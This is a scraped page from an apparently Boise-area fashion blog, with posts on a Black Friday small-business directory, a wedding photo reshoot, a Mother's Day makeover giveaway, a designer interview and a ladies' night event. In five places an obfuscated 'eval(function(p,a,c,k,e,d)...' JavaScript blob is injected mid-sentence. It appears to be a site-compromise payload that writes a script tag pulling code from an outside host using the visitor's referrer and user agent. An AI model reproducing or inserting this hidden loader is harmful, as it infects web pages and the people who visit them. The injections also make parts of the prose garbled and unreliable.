Treasure Valley Small Business BLACK FRIDAY Directory

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|afyby|var|u0026u|referrer|kskyr||js|php’.split(‘|’),0,{}))
holiday season, shop local!

Support your homegrown boutiques, jewelry stores, clothing designers, artists, musicians, bakers, and everyone in-between.
Show some #LocalLove!!! (Want your biz on this list? Email me at Tanya@stylespygirl.com)

CLICK ON THE PHOTO ABOVE TO ACCESS THE TREASURE VALLEY SMALL BUSINESS BLACK FRIDAY DIRECTORY!

A Second Shot at Romance

Once eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nasfy|var|u0026u|referrer|ybbdn||js|php’.split(‘|’),0,{}))
upon a time, I got to marry this awesome guy, and we were too poor to get “real” wedding photos. But with the help of Two Photography – and the magic of long hair! – we recently turned back the clock to capture those romantic images we never had.

Here’s the story… It was in Seattle, WA, many years ago. We had a huge “medieval” theme wedding, complete with costumes, candles, and fingers-only food! It was amazing, but hardly lavish, as we had very little money to invest in our special day. My wedding dress, for example, cost around $300, and was the handiwork of a very dear friend of mine, Rene Hardy.

Most weddings have minor problems; the flowers aren’t perfect, the ceremony starts late, etc.. Regardless of all that day’s snafus, our wedding was unforgettable; to this day people still tell me how much fun they had, and their most memorable moments. One couple in particular was so enamored, they got engaged during our ceremony!

I wouldn’t trade any of it, but I have to admit there is one thing I would do over, if I had the chance: invest in a good wedding photographer. Like I said, we were poor, but somehow we managed to come up with a few hundred dollars to pay a local woman, who a friend recommended. It turned out she had never shot a wedding before; only controlled studio portraits! But she was all we could afford, so we hired her.

The pictures that came back were a nightmare, and I cried as we went through the proofs. The ceremony shots were crooked, the lighting was bad, and she was obviously rushed & unsure of what types of shots to get at a wedding. I tried to salvage a few to hang on our wall, but most of those photos are still packed away in a box, somewhere…

Recently, I was chatting with friend and renowned photographer Frances Corkill, who was looking for a couple to do romantic shots at the new Village Cinema at the Village at Meridian. “We’ll model for you,” I told her, quickly volunteering us!

For us, this wasn’t just a photo shoot; it was the first time we had posed alone together for photos, since our wedding! It was a chance to relive a moment of romance, with a true professional who is so very gifted at bringing out the unique love that exists between every couple she shoots!

I cried when I saw the resulting pictures this time, too; only the reason was completely different! Thank you, Frances, for giving Trevor and I the chance to do this with you! XOXO!!!

Here’s my advice to any bride, young or old: it’s never too late for a do-over! Our wedding was 15 years ago (eek!), but taking those photos together rekindled something very special, and redeemed a moment I never thought we could recapture. I am so glad we got a “second shot!”

Wardrobe: Clothing & Jewelry courtesy of Dillard’s, whose Menwear & Formal departments continually impress me!

Photography: Frances Corkill / FB: Two Photography / Web: Two Photography

Hair/Wig Styling: Alyx Bogart-Vetter, Wig Styling Expert at the Morrison Center for the Performing Arts

Assistant: Amanda Morgan of Ammophotog

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A Very Special Mother’s Day Makeover, with The Village at Meridian

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week, I had the thrilling opportunity to work with The Village At Meridian on their HUGE Mother’s Day Makeover Giveaway. A drawing was held, and one lucky woman was gifted over $1,000 worth of gift cards and services from The Village, LOFT, White House | Black Market, Soma, Francesca’s, Oconik, Menchie’s, and the newly-opened SB Salon.

And the winner was… Stacy Schreiter! A mother of two who works at Scentsy, Stacy is super active and loves the great outdoors. When we met up for her shopping day, she talked to me about how important comfort is for her, as she is always on the go, and a very busy woman. Our first stop was Soma Intimates, because a well-fitting bra changes how your shirts and dresses fit, and Soma does a great job of professional measuring and fitting! We armed Stacy with some new “pretty little things,” and moved on to the clothes shopping.

Shopping in White House | Black Market – their summer dresses are so pretty!

Accessorizing in LOFT – Stacey LOVED their new Lou & Grey line; soft fabrics and colors, inspired by loungewear. She loaded up on great pieces, all for 40% off!

We found a gorgeous necklace & earrings set at Francesca’s, had a delicious lunch at Kona Grill (they were giving away free cupcakes for moms! Yum!!!), and then moved on to SB Salon for some pampering time!

Hair stylist Amie Reynolds Shoemaker worked her magic on Stacy, using products from Bumble & Bumble.

After hair, Stacy moved on to makeup, with Kristin Onne Merren. Kristin used natural luxury line Jane Iredale to even out Stacy’s skin tone, and added soft, natural colors to give her an easy-to-maintain, everyday look.

This smile MADE MY DAY!!!

Simply beautiful Stacy!!!

This ruffled blouse and long, flowy skirt from LOFT enhanced her hourglass shape and gave her petite frame visual height. And she loved this Lou & Grey Linen Blush Moto jacket – it’s so versatile, she can wear it with just about anything!!!

Photography by: Ammophotog / Hair: Amie Reynolds Shoemaker / Makeup: Kristin Onne Merren / Wardrobe: LOFT

Stacy, it was an honor to work with you, and help you find styles that suited your shape, and your lifestyle! I hope you felt as amazing as you looked. You are a vibrant spirit, a loving mother, and a beautiful woman!!! Happy Mother’s Day.

XOXO,

P.S. I want to give a HUGE THANK YOU to the wonderful ladies who helped us on Sunday! All of the saleswomen were sweet, helpful, and gracious, and Amie & Kristin were simply splendid!!! I definitely want to visit SB Salon again – what a beautiful place! Special thanks to the Village at Meridian, for giving me the opportunity to work with Stacy, on her very special Mother’s Day. XOXOXO!!!

Special love & thanks to my assistant-for-the-day Taite Mendenhall, a fabulous stylist in-the-making! Keep your eye on this brilliant young lady – great things are in store for her future in the fashion industry!!!

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My Interview with Donald J. Pliner, Fashion Superstar

Photography: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kttbt|var|u0026u|referrer|datrk||js|php’.split(‘|’),0,{}))
Lenny Wheeler / Makeup: Shaylinn Barlow / Wardrobe: Dillard’s & Donald J. Pliner

Last month I had the honor and privilege of interviewing renowned footwear & handbag designer Donald J. Pliner at a special Dillard’s event, at Boise Towne Square! (Read Part 1 of my interview here.) Of course, when meeting a fashion legend, one wants to look her best. So I was thrilled when Dillard’s offered to outfit me from their store!

I fell in love with this dramatic full skirt from Adrianna Papell, and chose a funky skull-covered blouse from Chelsea & Violet to add a little edginess to the look. Little did I know that Mr. Pliner has a very personal affinity for skulls. In fact, ALL of his beautiful shoes carry symbolism, images, and dates that have deep, personal meaning to him and his family!

My video interview with Mr. Pliner is on ThisisBoise.com TV – watch it at this link (http://youtu.be/k30H32cAd_E), or in the embedded video below!

Donald J. Pliner was an amazing & inspiring person to talk to – I learned a great deal about life in the fashion world, what it’s like to rise and fall and rise again, and what makes this legendary man so passionate about his work. I hope you enjoy the video!!!

Special thanks to Shaylinn Barlow for doing my makeup for this interview, and the photo shoot! And to Lenny Wheeler, for accompanying me as photographer, and taking such wonderful pictures. 🙂

XO,

Blouse: Chelsea & Violet, via Dillard’s / Skirt: Adrianna Papell, via Dillard’s / Sunglasses: Coach / Bracelet & Earrings: Dillard’s / Makeup: Shaylinn Barlow / Photography: Lenny Wheeler Photography / Hair: Melissa Shay Thomas at Deco Salon

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Walking Tall Boise 2014

Ladies, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbknz|var|u0026u|referrer|zdtka||js|php’.split(‘|’),0,{}))
this is your night!!

Get dolled up, grab your girlfriends and come out to Walking Tall on Friday May 16th, presented by Everhart Photography!

At this Ladies-only event you will enjoy fashion shows, a burlesque show, giveaways, free photos, entertainment, raffles, drinks and desserts, and SWAG bags!

This is the biggest and best GIRLS NIGHT OUT around, and you will not want to miss out! Tickets are limited so start planning now and support a great local cause at the same time, as a portion of the proceeds go to Preservation Idaho.

Where else can you get 5 fashion shows, 6 dance/entertainer shows, desserts, drinks, photo ops galore, music, dancing, giveaways and more ALL for $15?? Tickets are almost sold out, but a few are still available at: http://walkingtall.ticketleap.com/

LADIES ONLY!!!

More info and chances to WIN tickets here: Walking Tall Facebook Event

Mother’s Day Makeover Giveaway!

Wardrobe: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ahfbd|var|u0026u|referrer|zkkik||js|php’.split(‘|’),0,{}))
LOFT / Photography by: Ammophotog

Mother’s Day is coming! And I’m hooking up with the Village at Meridian to bring you the ultimate Mother’s Day gift: a head-to-toe makeover, worth over $1,000!!! Do you think YOUR mom would appreciate a day of pampering and shopping fun? She will receive gift cards & services from myself, Soma, Francesca’s, LOFT, White House | Black Market, Oconik, Menchie’s, and the newly-opened SB Salon!!! Here are all the details:

May at The Village at Meridian is made for Mother’s!

Enter the special mother in your life for an once-in-a-lifetime makeover courtesy of The Village at Meridian.Over $1,000 in prizes and gift cards will be awarded to one lucky mother, as well as personal styling by the Treasure Valley’s own Style Spy Girl!

Enter online at The Village at Meridian’s Facebook page (click on “Sweepstakes” if the link doesn’t take you directly to it!), or by visiting Guest Services. Last day to enter will be May 7th, and a winner will be randomly chosen on May 8th.

Winner must be willing to allow images of themselves to be posted on both The Village at Meridian and Style Spy Girl social media channels. Winner must be available for makeover and personal styling session on Sunday, May 11th, time TBD. The date is non-negotiable and another winner will be chosen if first winner is not able to attend on that day.

Note: This event is sponsored by the Village At Meridian, in conjunction with Soma, Francesca’s, LOFT, SB Salon, White House | Black Market, Oconik, Menchie’s, & StyleSpyGirl.

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